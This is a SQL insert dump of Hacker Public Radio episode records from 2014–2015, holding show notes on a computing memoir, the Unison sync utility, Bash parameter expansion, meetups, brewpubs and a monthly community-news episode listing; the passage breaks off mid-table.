(1664,'2014-12-18','Life and Times of a Geek part 1',1614,'I\'ve been using computers for more than 40 years. This is part 1 of my story','<h1 id=\"life-and-times-of-a-geek---part-1\">Life and Times of a Geek - part 1</h1>\r\n<p>I really liked David Whitman\'s idea of doing a show on his birthday <a href=\"https://hackerpublicradio.org/eps.php?id=1547\">https://hackerpublicradio.org/eps.php?id=1547</a>, so I\'m borrowing the idea.</p>\r\n<p>This show is being released on my 65th birthday, and I decided to use this opportunity to tell you about my long experience with computational devices as part of the series &quot;<em>How I Found Linux</em>&quot;. Thinking about what I want to cover, I realise that it might be quite a lot, so I\'m organising the shows into a collection of short episodes.</p>\r\n<p>I have been thinking about doing this for a while. Up until now I was concerned that it would be a bit self-indulgent, but I have been advised to just go ahead and do it. I hope you find the shows interesting.</p>\r\n<p>The full notes for this episode are to be found here: <a href=\"https://hackerpublicradio.org/eps/hpr1664_full_notes.html\">https://hackerpublicradio.org/eps/hpr1664_full_notes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Full notes <a href=\"https://hackerpublicradio.org/eps/hpr1664_full_notes.html\">https://hackerpublicradio.org/eps/hpr1664_full_notes.html</a></li>\r\n<li>Great Smog, Wikipedia page <a href=\"https://en.wikipedia.org/wiki/Great_Smog\">https://en.wikipedia.org/wiki/Great_Smog</a></li>\r\n<li>Slide Rule <a href=\"https://en.wikipedia.org/wiki/Slide_rule\">https://en.wikipedia.org/wiki/Slide_rule</a></li>\r\n<li>Aberystwyth:\r\n<ul>\r\n<li>Town <a href=\"https://en.wikipedia.org/wiki/Aberystwyth\">https://en.wikipedia.org/wiki/Aberystwyth</a></li>\r\n<li>Aberystwyth University <a href=\"https://en.wikipedia.org/wiki/Aberystwyth_University\">https://en.wikipedia.org/wiki/Aberystwyth_University</a></li>\r\n</ul></li>\r\n<li>Statistical tests:\r\n<ul>\r\n<li>Chi-square test <a href=\"https://en.wikipedia.org/wiki/Chi-squared_test\">https://en.wikipedia.org/wiki/Chi-squared_test</a>,</li>\r\n<li>Student\'s t-test <a href=\"https://en.wikipedia.org/wiki/Student%27s_t-test\">https://en.wikipedia.org/wiki/Student%27s_t-test</a></li>\r\n</ul></li>\r\n<li>Mechanical Calculator, Wikipedia page <a href=\"https://en.wikipedia.org/wiki/Mechanical_calculator\">https://en.wikipedia.org/wiki/Mechanical_calculator</a>\r\n<ul>\r\n<li>Triumphator <a href=\"https://upload.wikimedia.org/wikipedia/commons/2/2b/Calculator_triumphator_hg.jpg\">https://upload.wikimedia.org/wikipedia/commons/2/2b/Calculator_triumphator_hg.jpg</a></li>\r\n</ul></li>\r\n<li>Algol 60:\r\n<ul>\r\n<li>Wikipedia entry <a href=\"https://en.wikipedia.org/wiki/ALGOL_60\">https://en.wikipedia.org/wiki/ALGOL_60</a></li>\r\n<li><em>Revised Report on the Algorithmic Language Algol 60</em>:\r\n<ul>\r\n<li>PDF version <a href=\"https://viega.org/cs6373/papers/algol60-revisedreport.pdf\">https://viega.org/cs6373/papers/algol60-revisedreport.pdf</a></li>\r\n<li>HTML version <a href=\"https://www.masswerk.at/algol60/report.htm\">https://www.masswerk.at/algol60/report.htm</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Stropping (Syntax) Wikipedia entry <a href=\"https://en.wikipedia.org/wiki/Stropping_%28syntax%29\">https://en.wikipedia.org/wiki/Stropping_%28syntax%29</a></li>\r\n<li>Elliott Brothers <a href=\"https://en.wikipedia.org/wiki/Elliott_Brothers_%28computer_company%29\">https://en.wikipedia.org/wiki/Elliott_Brothers_%28computer_company%29</a></li>\r\n<li>Elliott Algol <a href=\"https://en.wikipedia.org/wiki/Elliott_ALGOL\">https://en.wikipedia.org/wiki/Elliott_ALGOL</a></li>\r\n<li>Core memory <a href=\"https://upload.wikimedia.org/wikipedia/commons/d/da/KL_CoreMemory.jpg\">https://upload.wikimedia.org/wikipedia/commons/d/da/KL_CoreMemory.jpg</a></li>\r\n<li>The punched card era:\r\n<ul>\r\n<li>Wikipedia entry <a href=\"https://en.wikipedia.org/wiki/Computer_programming_in_the_punched_card_era\">https://en.wikipedia.org/wiki/Computer_programming_in_the_punched_card_era</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,29,1,'CC-BY-SA','computer,mainframe,programming,punched card,paper tape,teletype,graph plotter,ALGOL 60',0,0,1),
(1643,'2014-11-19','Unison Syncing Utility',2084,'Review of the Unison graphical Syncing Utility','<p>Unison is a file syncing/backup utility, similar to SyncBack on Windows, available in most repros.</p>\n <ol>\n  <li>The graphical interface requires the installation of unison, and unison-gtk.. Unison may be installed w/o the graphical component, but all operations must be initiated from a system running the GUI. <ul>\n    <li>Network backups require RSH or SSH to be installed on both machines</li>\n   </ul>\n  </li>\n  <li>The standard wisdom seems to be the rsync does not do a true 2 way sync, i.e., to sync to the newest file version going both ways you would have to do <code>rsync ~/LocalFolder you@server:/home/you/RemoteFolder</code> then turn around and do <code>rsync you@server:/home/you/RemoteFolder ~/LocalFolder</code>. Add that to the fact that like cp, or scp, rsync requires separate commands for files with extensions, files without, and hidden files, creating a bash script for syncing files is more complex than creating a Unison profile.</li>\n  <li>Step One: If, like me you are syncing only Documents, make your subfolder structure the same on both machines, ergo, if one PC has <code>/home/you/Documents/recipe</code> and second PC has <code>/home/you/Documents/Recipes</code>, edit your folder structure to be the same on both PCs to avoid duplicate files and folders</li>\n  <li>Launch Unison and create a backup profile First use, create a profile<br />\n   <ul>\n    <li>Name of profile<br />\n    </li>\n    <li>Synchronization kind (Local, SSH, RSH, TCP)<br />\n    </li>\n    <li>\"First\" Directory (you can browse your mounted volumes)<br />\n    </li>\n    <li>\"Second\" Directory, if you chose Local<br />\n    </li>\n    <li>Host Machine Name (or IP Address)<br />\n    </li>\n    <li>User Name (If you haven\'t registered SSH keys, you will be prompted for a password on every synchronization.<br />\n    </li>\n    <li>Check whether you want to use compression, (on fast networks or slow processors, compression may create more overhead than it\'s worth).<br />\n    </li>\n    <li>Target directory (If it\'s on a remote server, you will need to type the full path, there is no browsing to the folder.)<br />\n    </li>\n    <li>Tell Unison if either folder uses FAT (say an un-reformatted USB stick)</li>\n   </ul>\n   <ul>\n    <li>If you are backing up to another system, Unison needs to be installed on both. If you are backing up to a server with no GUI desktop manager, you can install just the unison package without unison-gtk, but all the syncs will have to be initiated from the machine with a GUI. (Of course, if you back up to a remote volume that is mounted locally, it should be completely transparent to Unison). If you choose to sync via ssh (recommended), you will need ssh and ssh-server installed appropriately on each machine.</li>\n   </ul>\n  </li>\n  <li>Select and run your profile. <ul>\n    <li>The first time, expect to get a warning that no archive files (index files that speed up the synchronization scan) were found. They will be created on the first sync.</li>\n    <li>Unison will look for differences between the files in the two selected directories. The differences will be displayed graphically, with arrows pointing left or right, indicating which directory contains the most current version of the file (by modification date). You can choose to merge files either left or right (a conventional backup), do a merge (i.e., Unison itself decides how to combine data from files with the same name (obviously, that could be messy), or to do a sync (ergo, the most current version of a file overwrites older version, regardless of location). Click \"Go\" to do a true sync.</li>\n   </ul>\n  </li>\n </ol>',131,0,0,'CC-BY-SA','Unison,file synchronisation,rsync',0,0,1),
(1646,'2014-11-24','5150 Shades of Beer 0003 River City Brewing Company and Wichita Brewing Company',2174,'FiftyOneFifty explores Wichita Brew Pubs, v2','<img  width=\"80%\" src=\"https://hackerpublicradio.org/eps/hpr1646.jpg\" alt=\"Image of beer\" />\r\n\r\n<h3>links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://wichitabrew.com/\">https://wichitabrew.com/</a>\r\n</li>\r\n<li><a href=\"https://www.rivercitybrewingco.com/\">https://www.rivercitybrewingco.com/</a>\r\n</li>\r\n<li><a href=\"https://www.yelp.com/biz/bai-wei-asian-buffet-wichita\">https://www.yelp.com/biz/bai-wei-asian-buffet-wichita</a>\r\n</li>\r\n</ul>\r\n',131,14,0,'CC-BY-SA','5150 Shades of Beer, Wichita Brewing Company, River City Brewing Company',0,0,1),
(1642,'2014-11-18','Frist Time at Oggcamp',842,'Join Al and Jerry where we discuss are first visit to oggcamp','<p>\r\nThis episode is about how Al and Jerry Meet at Oggcamp. What we enjoy about the event,what to expect and encourage people to attend next year.\r\n</p>\r\n<p>\r\nThis is my second HPR episode after beni recorded a interview with me at oggcamp and said I should submit my own episode\r\n</p>\r\n<h3>Links</h3>\r\n<a href=\"https://adminadminpodcast.co.uk\">https://adminadminpodcast.co.uk</a>\r\n',290,62,0,'CC-BY-SA','oggcamp,oggcamp14',0,0,1),
(1647,'2014-11-25','Oggcast Planet Live 2014: The Cooking Show',1285,'OggCast 2014. we cook dinner, I drink beer, a time is had by all.','<p>\r\nOggCast 2014. we cook dinner, I drink beer, a time is had by all.  I\'d like to amp this, but Audacity won\'t let me, so listen carefully.\r\n</p>\r\n<p>\r\nBroam, Briptastic, and FiftyOneFifty talk about the meal they are making for Saturday Night at Oggcast Planet Live 2014 from when they thought about it until dinner was served, as well as that day\'s fun at Knoebels theme park at Elysburg PA and the plans to visit the ghost town of Centralia the following day.\r\n</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1647-01.jpg\" alt=\"\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1647-02.jpg\" alt=\"\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1647-03.jpg\" alt=\"\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1647-04.jpg\" alt=\"\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1647-05.jpg\" alt=\"\" /></p>\r\n',131,93,1,'CC-BY-SA','Elysburg, oggcastplanet, Centralia, cooking, Knoebels, OggCastPlanet Live, OCP Live, 2014',0,0,1),
(1648,'2014-11-26','Bash parameter manipulation',2433,'A summary and aide memoire of Bash parameter expansion methods','<h2 id=\"bash-parameter-manipulation\">Bash parameter manipulation</h2>\r\n<p>I\'m a great fan of using the Linux command line and enjoy writing shell scripts using the Bash shell.</p>\r\n<ul>\r\n<li><p><em>BASH</em> (or more usually <em>Bash</em> or <em>bash</em>) is the name of a <a href=\"https://en.wikipedia.org/wiki/Unix_shell\">Unix shell</a>. The name stands for <em>Bourne Again SHell</em>, which is a play on words. Bash is an extension of the shell originally written by <a href=\"https://en.wikipedia.org/wiki/Stephen_Richard_Bourne\">Stephen Bourne</a> in 1978, usually known as <em>SH</em>.</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Bash_%28Unix_shell%29\">Bash</a> was written as part of the <a href=\"https://en.wikipedia.org/wiki/GNU_Project\">GNU Project</a> which forms part of the Linux Operating System.</p></li>\r\n<li><p>A shell is the part of the operating system that interprets commands, more commonly known as the command line.</p></li>\r\n<li><p>A knowledge of Bash is very helpful if you would like to be able to use the power of the command line. It is also the way to learn how to build Bash scripts for automating the tasks you need to perform.</p></li>\r\n</ul>\r\n<p>In this episode we look at what parameters are in Bash, and how they can be created and manipulated. There are many features in Bash that you can use to do this, but they are not easy to find.</p>\r\n<p>As I was learning my way around Bash it took me a while to find these. Once I had found them I wanted to make a &quot;cheat sheet&quot; I could stick on the wall to remind me how to do things. I am sharing the result of this process with you.</p>\r\n<p>The version of Bash which I used for this episode is <em>4.3.30(1)-release</em></p>\r\n<p>The full notes for this episode are to be found here: <a href=\"https://hackerpublicradio.org/eps/hpr1648_full_notes.html\">https://hackerpublicradio.org/eps/hpr1648_full_notes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Definitions:\r\n<ul>\r\n<li>Unix shell <a href=\"https://en.wikipedia.org/wiki/Unix_shell\">https://en.wikipedia.org/wiki/Unix_shell</a></li>\r\n<li>Bash <a href=\"https://en.wikipedia.org/wiki/Bash_%28Unix_shell%29\">https://en.wikipedia.org/wiki/Bash_%28Unix_shell%29</a></li>\r\n<li>GNU Project <a href=\"https://en.wikipedia.org/wiki/GNU_Project\">https://en.wikipedia.org/wiki/GNU_Project</a></li>\r\n</ul></li>\r\n<li>References\r\n<ul>\r\n<li>Shell Parameter Expansion <a href=\"https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html\">https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html</a></li>\r\n<li>Bash Hackers on parameter expansion <a href=\"https://wiki.bash-hackers.org/syntax/pe\">https://wiki.bash-hackers.org/syntax/pe</a></li>\r\n</ul></li>\r\n<li>Previous HPR shows on the shell or shell scripting:\r\n<ul>\r\n<li>2008-03-03 HPR0045: Shell Scripting (dosman) <a href=\"https://hackerpublicradio.org/eps.php?id=45\">https://hackerpublicradio.org/eps.php?id=45</a></li>\r\n<li>2008-03-12 HPR0052: UCLUG: Newbie Shell Scripting (Dave Yates) <a href=\"https://hackerpublicradio.org/eps.php?id=52\">https://hackerpublicradio.org/eps.php?id=52</a></li>\r\n<li>2010-03-24 HPR0531: bash loops (Ken Fallon) <a href=\"https://hackerpublicradio.org/eps.php?id=531\">https://hackerpublicradio.org/eps.php?id=531</a></li>\r\n<li>2010-08-11 HPR0562: Introduction to bash scripting (Ken Fallon) <a href=\"https://hackerpublicradio.org/eps.php?id=562\">https://hackerpublicradio.org/eps.php?id=562</a></li>\r\n<li>2010-11-17 HPR0598: Bash Scripting: Episode 2 Command Line Basics (Ken Fallon) <a href=\"https://hackerpublicradio.org/eps.php?id=598\">https://hackerpublicradio.org/eps.php?id=598</a></li>\r\n<li>2012-05-22 HPR0992: Linux In The Shell 007 - Chmod and Unix Permissions. (Dann) <a href=\"https://hackerpublicradio.org/eps.php?id=992\">https://hackerpublicradio.org/eps.php?id=992</a></li>\r\n<li>2012-06-05 HPR1002: Linux In The Shell 008 - free: Understanding Linux Memory Usage (Dann) <a href=\"https://hackerpublicradio.org/eps.php?id=1002\">https://hackerpublicradio.org/eps.php?id=1002</a></li>\r\n<li>2013-03-05 HPR1197: What I do with bash scripts (Jon Kulp) <a href=\"https://hackerpublicradio.org/eps.php?id=1197\">https://hackerpublicradio.org/eps.php?id=1197</a></li>\r\n<li>2013-04-09 HPR1222: LiTS 027: mathematical commands (Dann) <a href=\"https://hackerpublicradio.org/eps.php?id=1222\">https://hackerpublicradio.org/eps.php?id=1222</a></li>\r\n<li>2013-05-14 HPR1247: Recording Terrestrial Radio with bash scipts and cron jobs (Jon Kulp) <a href=\"https://hackerpublicradio.org/eps.php?id=1247\">https://hackerpublicradio.org/eps.php?id=1247</a></li>\r\n<li>2013-05-22 HPR1253: Linux in the Shell Ep 30 - vmstat (Dann) <a href=\"https://hackerpublicradio.org/eps.php?id=1253\">https://hackerpublicradio.org/eps.php?id=1253</a></li>\r\n</ul></li>\r\n<li>Resources\r\n<ul>\r\n<li>Full show notes <a href=\"https://hackerpublicradio.org/eps/hpr1648_full_notes.html\">https://hackerpublicradio.org/eps/hpr1648_full_notes.html</a></li>\r\n<li>Bash man page extract <a href=\"https://hackerpublicradio.org/eps/hpr1648_summary.pdf\">https://hackerpublicradio.org/eps/hpr1648_summary.pdf</a></li>\r\n<li>Parameter manipulation &quot;<em>cheat sheet</em>&quot; <a href=\"https://hackerpublicradio.org/eps/hpr1648_diagram.pdf\">https://hackerpublicradio.org/eps/hpr1648_diagram.pdf</a></li>\r\n<li>Various annotated Bash scripts which make up my Magnatune Downloader (described in show <a href=\"https://hackerpublicradio.org/eps.php?id=1204\">hpr1204</a>) <a href=\"https://gitorious.org/magnatune-downloader/magnatune-downloader/source/master:\">https://gitorious.org/magnatune-downloader/magnatune-downloader/source/master:</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,script,parameter,variable',0,0,1),
(1650,'2014-11-28','OCPLive2014 Night Life In Elysburg PA',10935,'The real Elysburg experience','<p>A running commentary by FiftyOneFifty and Tankenator on the nightlife in Elysburg PA</p>\r\n',131,0,0,'CC-BY-SA','OCP Live, oggcastplanet, 2014, nightlife',0,0,1),
(1652,'2014-12-02','GeekSpeak 2013-06-01',3843,'Showcasing the Central Coast Public Broadcasting radio show slash podcast, Geek Speak','<p>As part of Hacker Public Radio\'s continuing effort to showcase Creative Commons Works, we are proud to present GeekSpeak. GeekSpeak is produced as a radio show for community based station KUSP in Monterey CA, and rebroadcast as podcast, available from GeekSpeak.org. It is a generally a lighthearted and humorous general technology news show, with topics including electronics, computing, robotics, and green tech. Often guest speakers and authors from the technology world will come on for interviews. The shows are just about an hour long.</p>\n <p>The regular hosts are Bonnie Jean Primbsch, Lyle Troxell, Miles Elam, and Ben Jaffe (see GeekSpeak.org/geeks/for the full roster). You can often hear them thanking the \"Puppetmaster\" for letting them continue to use the name GeekSpeak. After broadcasting for several years, it was discovered the term \"GeekSpeak\" had been registered as a service mark by David Lawrence for a podcast of his own. You might remember Lawrence as the actor who played the character on \"Heroes\" with the telekinetic ability to physically manipulate other characters against their will.</p>\n <p>GeekSpeak has a long standing tradition of using Devo\'s \"Through Bein\' Cool\" as intro music, so only those episodes that employ user contributed music instead are actually released Creative Commons. What you are about to hear, from the 1st of June of 2013, is just such an episode.</p>\n <h3>Links</h3>\n <ul>\n  <li><a href=\"https://geekspeak.org/\">GeekSpeak.org</a></li>\n  <li><a href=\"https://www.kusp.org\">www.kusp.org</a></li>\n  <li><a href=\"https://www.thedavidlawrenceshow.com/\">https://www.thedavidlawrenceshow.com/</a></li>\n  <li><a href=\"https://7thavenueproject.com/\">https://7thavenueproject.com/</a> - This is another KUSP show, often dealing with sciencetific topics. I mention it here, because I originally wanted feature a GeekSpeak that I had found fascinating, even though it featured none of the regular hosts : <a href=\"https://geekspeak.org/shows/audio/GeekSpeak_2012-11-24.mp3?1354389765\">https://geekspeak.org/shows/audio/GeekSpeak_2012-11-24.mp3?1354389765</a> \"Hany Farid, Digital Image Detective with Robert Pollie of The 7th Avenue Project\" Basically, Farid talked about the methods he uses to determine whether a digital image has been altered. Ultimately, since it was a re-broadcast of an earlier \"7th Avenue Project\", and not knowing the original licensing, I decided to bring you a more traditional and recent sample of GeekSpeak.</li>\n </ul>',158,0,0,'CC-BY-NC-ND','Geek Speak, KUSP, Creative Commons, community radio, GeekSpeak.org',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (1741,'2015-04-06','HPR Community News for March 2015',4618,'HPR Community News for March 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=298\" target=\"_blank\">tcuc</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1716\" target=\"_blank\">1716</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-03-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1716\" target=\"_blank\">HPR Community News for February 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1717\" target=\"_blank\">1717</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-03-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1717\" target=\"_blank\">Visualizing electricity</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=298\" target=\"_blank\">tcuc</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1718\" target=\"_blank\">1718</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-03-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1718\" target=\"_blank\">What&#39;s In My Pickup Toolbox</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1719\" target=\"_blank\">1719</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-03-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1719\" target=\"_blank\">The Linux Tree Command</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1720\" target=\"_blank\">1720</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-03-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1720\" target=\"_blank\">15 Certificate Issues and Solutions</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1721\" target=\"_blank\">1721</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-03-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1721\" target=\"_blank\">Cross-compilers Part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1722\" target=\"_blank\">1722</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-03-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1722\" target=\"_blank\">Kansas Linux Fest 2015, March 21-22, Lawrence KS</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1723\" target=\"_blank\">1723</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-03-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1723\" target=\"_blank\">Success With Students</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\" target=\"_blank\">Kevie</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1724\" target=\"_blank\">1724</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-03-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1724\" target=\"_blank\">Vim Hints 002</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1725\" target=\"_blank\">1725</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-03-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1725\" target=\"_blank\">49 - LibreOffice Calc - Creating a Template with Styles</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1726\" target=\"_blank\">1726</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-03-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1726\" target=\"_blank\">15 Excuses not to Record a show for HPR</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1727\" target=\"_blank\">1727</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-03-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1727\" target=\"_blank\">Basic Mutt</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1728\" target=\"_blank\">1728</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-03-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1728\" target=\"_blank\">Requested Topic: Favourite Browser Extensions</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1729\" target=\"_blank\">1729</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-03-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1729\" target=\"_blank\">Shield&#39;s Up - Wood Stove Heat Shield Project</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1730\" target=\"_blank\">1730</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-03-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1730\" target=\"_blank\">5150 Shades of Beer 0005 River City Brewing Company Revisited</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1731\" target=\"_blank\">1731</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-03-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1731\" target=\"_blank\">Upgrading an old laptop</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1732\" target=\"_blank\">1732</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-03-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1732\" target=\"_blank\">Renovating another Public-Domain Counterpoint Textbook</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1733\" target=\"_blank\">1733</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-03-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1733\" target=\"_blank\">LinuxLugCast Episode-003 Outtakes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1734\" target=\"_blank\">1734</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-03-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1734\" target=\"_blank\">Vim Hints 003</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1735\" target=\"_blank\">1735</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-03-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1735\" target=\"_blank\">Free tutorials for teachers</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1736\" target=\"_blank\">1736</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-03-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1736\" target=\"_blank\">How I run my small business using Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" 